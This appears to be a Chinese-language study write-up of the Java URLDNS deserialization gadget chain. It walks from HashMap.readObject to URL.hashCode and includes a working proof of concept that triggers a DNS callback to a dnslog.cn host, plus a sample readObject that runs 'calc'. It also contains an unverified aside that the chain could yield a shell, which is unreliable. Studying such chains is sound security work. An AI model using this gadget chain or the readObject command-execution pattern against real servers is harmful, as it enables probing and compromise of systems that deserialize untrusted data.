URLDNS链
序列化与反序列化
序列化:将对象变为一串字节码(一般hex的开头为AC ED 00 05),便于传输 反序列化:将序列化的字节码恢复为对象 序列化:
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class ser {
public static void main(String[] args) throws IOException, IOException {
student stu = new student();
//将student类的序列化数据写入ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(stu);
}
}
反序列化:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
public class uns {
public static void main(String a[]) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
student o = (student) ois.readObject(); //readObject反序列化得到实例为Object类型
System.out.println(o.getscore());
}
}
安全问题
被序列化的对象的类中如果定义了readObject方法,则会使用类中的readObject方法来反序列化,readObject中只要有ois.defaultReadObject();(ois是传入的ObjectInputStream对象)就可以正常完成反序列化过程。
这时如果readObject方法中调用了其他类的危险函数,攻击者可以构造特殊的序列化数据,让readObject方法去执行这些类的函数。 比如反序列化这个unsafe类的对象后,就会执行弹计算机的命令
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class unsafe implements Serializable {
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
new exec().calc();
}
}
class exec {
public void calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
为什么会有readobject方法?
假设有个数组,他的长度为100,但是我们只填充了30个数掘,后面70个在进行序列化的时候仍然会被算进去,造成浪费。所以JDK给开发者提供了两种方法,能够让我们自定义序列化和反序列化的过程:writeboject()和readobject()
这两个方法是存放在传递类中的
那其实安全问题也就出来了,只要服务端反序列化数据,传递类中的readobject方法会自动执行,给予攻击者在服务器上运行代码的能力
即我们在类中自定义readobject方法,并在里面添加命令执行的代码如上。这样的手段类似于重写readobject方法
链
URLDNS链子,从HashMap出发
可以看到HashMap接收了两个泛型,调用了Map,Cloneable,Serializable接口
看向它的结构,可以看到HashMap重写了readObject方法
看到最后可以发现,对我们传入的参数进行操作的是这个putVal
putVal接收三个参数,第一个是key值的哈希,第二个是键,第三个是值。键和值是可以传入的,我们进入hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这下看懂了,这里有一个判断,如果传入的值是null,就会返回0;否则就会返回一段经过使用了hashcode方法的算法计算出来的值
这个hashcode方法有点特殊,可以看到几乎每个类都有这个方法,这是因为很多类都有一个终极父类Object,会将hashcode方法继承下来
在这个例子中他调用的是URL类的hashcode方法,我们跟进URL类找到hashcode方法
这里就是URL类的hashcode方法,可以看到他先做一个判断,检查对象的 hashCode 是否已经被计算过。如果 hashCode 的值不等于 -1,说明哈希码已经被计算并缓存了。如果哈希码已经被计算(即 hashCode != -1),则直接返回缓存的 hashCode 值,避免重复计算。这样做能提高性能,尤其是在需要频繁计算哈希码的场景中。
不过这个不是重点,重点是下面这个
hashCode = handler.hashCode(this);
return hashCode;
跟进handler的hashcode方法
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
这里可以看到这个hashcode接收URL参数,然后getHostAddress方法对我们的url发送了请求,这就是链子利用的终点了
在实战中似乎可以将url改成vps来弹shell,有空我就试试
POC解析
贴一个杭电哥们的链子poc
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.util.HashMap;
public class testUrldns{
public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class urlClass = Class.forName("java.net.URL");
Constructor urlCons = urlClass.getConstructor(String.class);
URL urlObject = (URL) urlCons.newInstance("xxxxx");
//创建HashMap对象
HashMap<URL,Integer> hashmap = new HashMap<>();
//将URL对象的hashCode值设为非-1,用于put进hashMap
Field hashCode_url = urlClass.getDeclaredField("hashCode");
hashCode_url.setAccessible(true);
hashCode_url.set(urlObject,114514);
//进行put,URL对象作为key
hashmap.put(urlObject,1);
//将hashCode值改回-1
hashCode_url.set(urlObject,-1);
//序列化HashMap对象
ser.serialize(hashmap);
//反序列化
uns.unserialize();
}
}
class ser {
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
}
class uns {
public static void unserialize() throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
Object o = ois.readObject(); //readObject反序列化得到实例为Object类型
}
}
首先是获取URL对象
public class testUrldns{
public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class urlClass = Class.forName("java.net.URL");
Constructor urlCons = urlClass.getConstructor(String.class);
URL urlObject = (URL) urlCons.newInstance("http://vhec8z.dnslog.cn");
然后是创建一个hashmap对象
HashMap<URL,Integer> hashmap = new HashMap<>();
获取类里的hashCode方法
Field hashCode_url = urlClass.getDeclaredField("hashCode");
hashCode_url.setAccessible(true);
hashCode_url.set(urlObject,114514);
设置键和值。这里的值不重要,随便设置,只要不是-1都行,因为hashcode的值为-1的时候就会使用上一次的结果的URL
put对象,反序列化
hashmap.put(urlObject,1);
hashCode_url.set(urlObject,-1);
ser.serialize(hashmap);
uns.unserialize();
复现成功